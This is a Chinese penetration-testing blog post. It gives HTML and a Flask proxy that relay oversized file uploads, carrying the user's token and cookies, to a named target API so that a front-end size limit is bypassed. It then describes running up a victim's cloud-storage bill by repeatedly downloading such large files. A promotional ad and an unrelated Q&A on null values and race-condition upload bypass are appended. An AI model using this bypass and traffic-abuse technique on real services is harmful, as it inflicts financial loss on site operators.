SRC漏洞小技巧——文件上传垃圾漏洞之绕过上传大小

在日常渗透测试中会发现有的上传功能的地方会限制上传大小,例如15M,如果绕过前端的这个提示,使用BURP抓包超大包 BURP会特别卡,导致无法发送,因此写了个小html和py来传输数据。

如下图所示可能会遇到这类功能

在这里插入图片描述

前端HTML代码

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>文件上传演示(代理版)</title>
    <style>
        /* 样式保持不变 */
        body {
            font-family: Arial, sans-serif;
            max-width: 600px;
            margin: 20px auto;
            padding: 20px;
        }
        .upload-box {
            border: 2px dashed #ccc;
            padding: 30px;
            text-align: center;
            margin: 20px 0;
        }
        #status {
            margin-top: 15px;
            padding: 10px;
            border-radius: 4px;
        }
.input-group {
margin: 10px 0;
text-align: left;
	}

.input-group label {
display: block;
margin-bottom: 5px;
color: #666;
		}

.input-group input {
width: 100%;
padding: 8px;
border: 1px solid #ddd;
border-radius: 4px;
box-sizing: border-box;
		}

        .success { background: #dff0d8; color: #3c763d; }
        .error { background: #f2dede; color: #a94442; }
    </style>
</head>
<body>
    <h2>文件上传演示</h2>

<div class="upload-box">
    <!-- 新增:Authorization输入框 -->
    <div class="input-group">
        <label for="authInput">Authorization:</label>
        <input type="text" id="authInput" placeholder="Bearer token (可选)">
    </div>

    <!-- 新增:Cookie输入框 -->
    <div class="input-group">
        <label for="cookieInput">Cookie:</label>
        <input type="text" id="cookieInput" placeholder="Cookie值 (可选)">
    </div>

    <input type="file" id="fileInput" accept=".pdf,.doc,.docx">
    <button onclick="uploadFile()">上传文件</button>
    <div id="status"></div>
</div>

    <script>
async function uploadFile() {
const fileInput = document.getElementById('fileInput');
const statusDiv = document.getElementById('status');
const authInput = document.getElementById('authInput');
const cookieInput = document.getElementById('cookieInput');

if (!fileInput.files.length) {
showStatus('请先选择文件', 'error');
return;
		}

// +++ 修复1: 确保FormData初始化 +++
const formData = new FormData();
		formData.append('dir', 'user_pri');
		formData.append('file', fileInput.files[0]);

// 构建动态Header
const headers = {};
if (authInput.value) headers['Authorization'] = authInput.value;
if (cookieInput.value) headers['Cookie'] = cookieInput.value;

try {
const response = await fetch('http://localhost:5000/upload', {
method: 'POST',
headers: headers,
body: formData // 使用已初始化的formData
			});

if (response.ok) {
const result = await response.json();
showStatus(`文件上传成功!文件名:${result.filename}`, 'success');
			} else {
showStatus(`上传失败:${response.statusText}`, 'error');
			}
		} catch (error) {
showStatus(`网络错误:${error.message}`, 'error');
		}
	}

        function showStatus(message, type) {
            const statusDiv = document.getElementById('status');
            statusDiv.className = type;
            statusDiv.textContent = message;

            setTimeout(() => {
                statusDiv.className = '';
                statusDiv.textContent = '';
            }, 3000);
        }
    </script>
</body>
</html>


python代

from flask import Flask, request
from flask_cors import CORS
import requests

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024 * 1024  # 允许100MB文件
CORS(app)

@app.route('/upload', methods=['POST'])
def upload():
    try:
        # 获取请求头
        auth_header = request.headers.get('Authorization', '')
        cookie_header = request.headers.get('Cookie', '')
        file = request.files['file']

        # 转发请求到目标API
        response = requests.post(
            'https://test.digifttest.com/api/file/upload',
            files={'file': (file.filename, file.stream)},
            headers={
                'Authorization': auth_header,
                'Cookie': cookie_header
            },
            data={'dir': 'user_pri'}
        )

        # 打印完整的返回包信息到控制台
        print("="*50 + " 响应详情 " + "="*50)
        print(f"状态码: {response.status_code}")
        print("\n响应头:")
        for key, value in response.headers.items():
            print(f"  {key}: {value}")
        print("\n响应体:")
        try:
            print(response.json())  # 尝试解析JSON
        except:
            print(response.text)    # 纯文本或二进制内容
        print("="*110 + "\n")

        # 返回完整响应信息
        return (
            response.content, 
            response.status_code,
            dict(response.headers)  # 携带原始响应头
        )

    except Exception as e:
        print(f"! 错误: {str(e)}")
        return {
            "error": str(e),
            "message": "代理服务器内部错误"
        }, 500

if __name__ == '__main__':
    app.run(port=5000, debug=True)  # 启用debug模式显示详细错误


填写凭据

在这里插入图片描述

在这里插入图片描述

上传成功,这里我选择了一个20M的PDF文件上传成功,绕过了前端的限制,但是我还是上传不了更大的文件,例如200M

应该是Spring boot或者Nginx层再次进行了限制

img

那么这里有什么作用呢,其实这里是一个类似攻击链,例如可以上传大包给OSS存储,OSS存储被访问是需要流量收费的,如果原本是15M,那麽攻击者就得刷流量刷到死,那如果攻击者上传的文件是是100M呢 ,1G的文件被刷流量呢,这个的危害就比较大了。

我们可以通过以下案例学习

也就是说一个照片大小大概在1570G/2554=600M左右

在这里插入图片描述

我们可以查看阿里云的OSS收费详情

阿里云OSS

https://www.aliyun.com/price/product?spm=5176.8465980.console-base_help.4.4e701450EnmFQ6#/oss/detail/ossbag

在这里插入图片描述

流入(上传不用钱)

流出(访问需要收费约0.5/G)

如果公司主要做海外服务的,那么配合这个大文件进行访问攻击,可以造成较大的金钱损失

在这里插入图片描述

网络安全系统学习资源推荐
网络安全作为数字时代的核心技术基石,已成为国家与企业发展的战略优先级。构建完整的安全能力体系,需从基础理论到实战对抗层层深化。以下为核心学习资源汇总:

  1. 网络安全完整学习路线图(覆盖全领域知识点);
  2. 20份渗透测试专业电子书;
  3. 357页安全攻防实战笔记;
  4. 50份安全攻防面试指南(含头部企业真题);
  5. 安全红队渗透工具包;
  6. 网络安全必读书籍清单;
  7. 100个漏洞实战案例解析;
  8. 安全大厂内部培训视频资源;
  9. 历年CTF夺旗赛题深度解析。

ps:网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的网安视频教程,之前都是内部资源,专业方面绝对可以秒杀国内99%的机构和个人教学!全网独一份,你不可能在网上找到这么专业的教程。

内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,200多G的资源,不用担心学不全。
在这里插入图片描述
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

### 关于 `null` 的概念及其在不同场景下的应用 #### 1. 数据库中的 `null` 在数据库领域,`null` 表示缺失值或未知值。当构建数据表时,可以使用非空约束来防止字段接受 `null` 值[^1]。如果需要处理涉及 `null` 的计算,则通常会采用特定的函数将其转换为其他有效值。例如,在 Hive 中有 `nvl()` 和 `coalesce()` 函数用于替换 `null`;而在 MySQL 中则可使用 `ifnull()` 来完成类似的转换操作。 #### 2. 编程语言中的 NULL 指针 对于编程而言,尤其是 C/C++ 这样的低级语言,存在所谓的“NULL 指针”。为了提高代码的安全性和可读性,建议将指针与 NULL 的比较写成 `if (NULL == p)` 而不是传统的形式 `if (p == NULL)`,这样即使不小心漏掉了等号也不会引发严重错误[^2]。 #### 3. 利用条件竞争漏洞实现文件上传绕过的可能性分析 条件竞争(Race Condition)是一种多线程环境或者并发执行过程中可能出现的问题,其中程序的行为依赖于不可预测的时间序列事件发生顺序。针对文件上传功能可能存在如下几种情况: - **时间差攻击**:服务器端验证逻辑和实际保存文件的动作之间存在一定延迟窗口期,在此期间恶意用户可能改变请求参数从而规避检测机制。 - **临时目录滥用**:某些应用程序先将上传文件存放到临时位置再做进一步检查并移动到正式存储路径上。然而如果没有妥善管理这些中间状态的数据对象权限设置的话,就给了黑客篡改的机会。 要成功实施基于条件竞争的文件上传绕过行为,需满足以下几个前提条件之一: - 应用程序确实存在着上述提到的那种设计缺陷; - 攻击者能够精确控制整个流程里涉及到的所有变量以及时间节点。 因此,从理论上讲通过精心构造特殊的输入配合合适的时机是可以达到目的的,但实际上由于现代Web框架普遍采取同步方式处理HTTP请求加上操作系统层面也有相应的防护措施使得这种类型的攻击变得非常困难甚至不可能实现。 至于防御方面主要集中在减少潜在风险源数量上面比如尽量缩短敏感动作之间的间隔时间尽可能早地完成必要的安全性审查工作等等同时也应该考虑引入额外的技术手段像数字签名技术之类的用来增强系统的整体健壮程度抵御此类威胁。 ```python def secure_file_upload(file, signature): # Verify the file's digital signature before processing it further. if not verify_signature(file, signature): raise Exception("Invalid or tampered with file.") temp_location = save_to_temporary_storage(file) result_of_inspection = inspect_content(temp_location) if is_safe(result_of_inspection): final_path = move_to_permanent_storage(temp_location) return final_path else: delete_unsafe_file(temp_location) raise Exception("File content inspection failed.") def verify_signature(file_data, provided_signature): """Simulated function to validate a cryptographic signature.""" pass def save_to_temporary_storage(file_object): """Saves incoming files into an isolated temporary area.""" pass def inspect_content(filepath): """Performs thorough checks on uploaded contents.""" pass def is_safe(inspection_results): """Determines whether results indicate safe conditions.""" pass def move_to_permanent_storage(src_filepath): """Moves verified items from staging areas permanently.""" pass def delete_unsafe_file(target_for_removal): """Ensures removal of any potentially harmful submissions.""" pass ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值